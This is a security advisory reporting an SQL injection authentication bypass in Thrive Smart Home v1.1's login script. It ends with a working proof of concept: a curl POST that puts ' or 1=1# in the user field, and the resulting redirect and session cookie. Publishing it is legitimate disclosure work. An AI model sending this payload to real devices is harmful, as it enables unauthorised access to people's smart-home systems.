Thrive Smart Home 1.1 SQL Injection

`  
Thrive Smart Home v1.1 SQL Injection Authentication Bypass  
  
  
Vendor: Thrive  
Product web page: http://www.thrivesmarthomes.com  
Affected version: 1.1  
  
Summary: As smart home technology becomes more affordable and easy to  
install with services offered by Thrive Smart Homes, there are some  
great options available to give your home a high-tech makeover. If the  
convenience of feeding your cat or turning on your air conditioning with  
a tap on your smartphone isn't enough of a reason to make the investment,  
consider how conveniently you can protect your home and belongings. From  
Wi-Fi-equipped smoke detectors to plugs with auto turn-offs, smart homes  
with their always-on connectivity and notifications systems allow consumers  
to quickly respond to the unexpected. For instance, if you install a smart  
water leak and moisture monitoring device, you can set up alerts on your  
phone for unusual changes in moisture and stop leaks before they cause major  
flooding or mold. It's a convenient way to proactively protect your home  
from costly damage, whether it's an overflowing laundry tub, a cracked  
washer hose, or a leaky water heater.  
  
Desc: The application suffers from an SQL Injection vulnerability. Input  
passed through 'user' POST parameter in checklogin.php is not properly  
sanitised before being returned to the user or used in SQL queries. This  
can be exploited to manipulate SQL queries by injecting arbitrary SQL  
code and bypass the authentication mechanism.  
  
Tested on: Apache httpd 2.4.25 (Raspbian)  
  
  
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic  
@zeroscience  
  
  
Advisory ID: ZSL-2019-5554  
Advisory URL: https://www.zeroscience.mk/en/vulnerabilities/ZSL-2019-5554.php  
  
  
21.10.2019  
  
--  
  
  
$ curl http://192.168.1.1:8080/raspberry/include/checklogin.php -X POST -d"submit=LOGIN&user=' or 1=1#&pass=pass" -i  
HTTP/1.1 302 Found  
Date: Mon, 21 Oct 2019 23:35:18 GMT  
Server: Apache/2.4.25 (Raspbian)  
Set-Cookie: PHPSESSID=6cu3frj0qes9c96v5de5vp37e2; path=/  
Expires: Thu, 19 Nov 1981 08:52:00 GMT  
Cache-Control: no-store, no-cache, must-revalidate  
Pragma: no-cache  
location: ../home.php  
Content-Length: 1  
Content-Type: text/html; charset=UTF-8  
`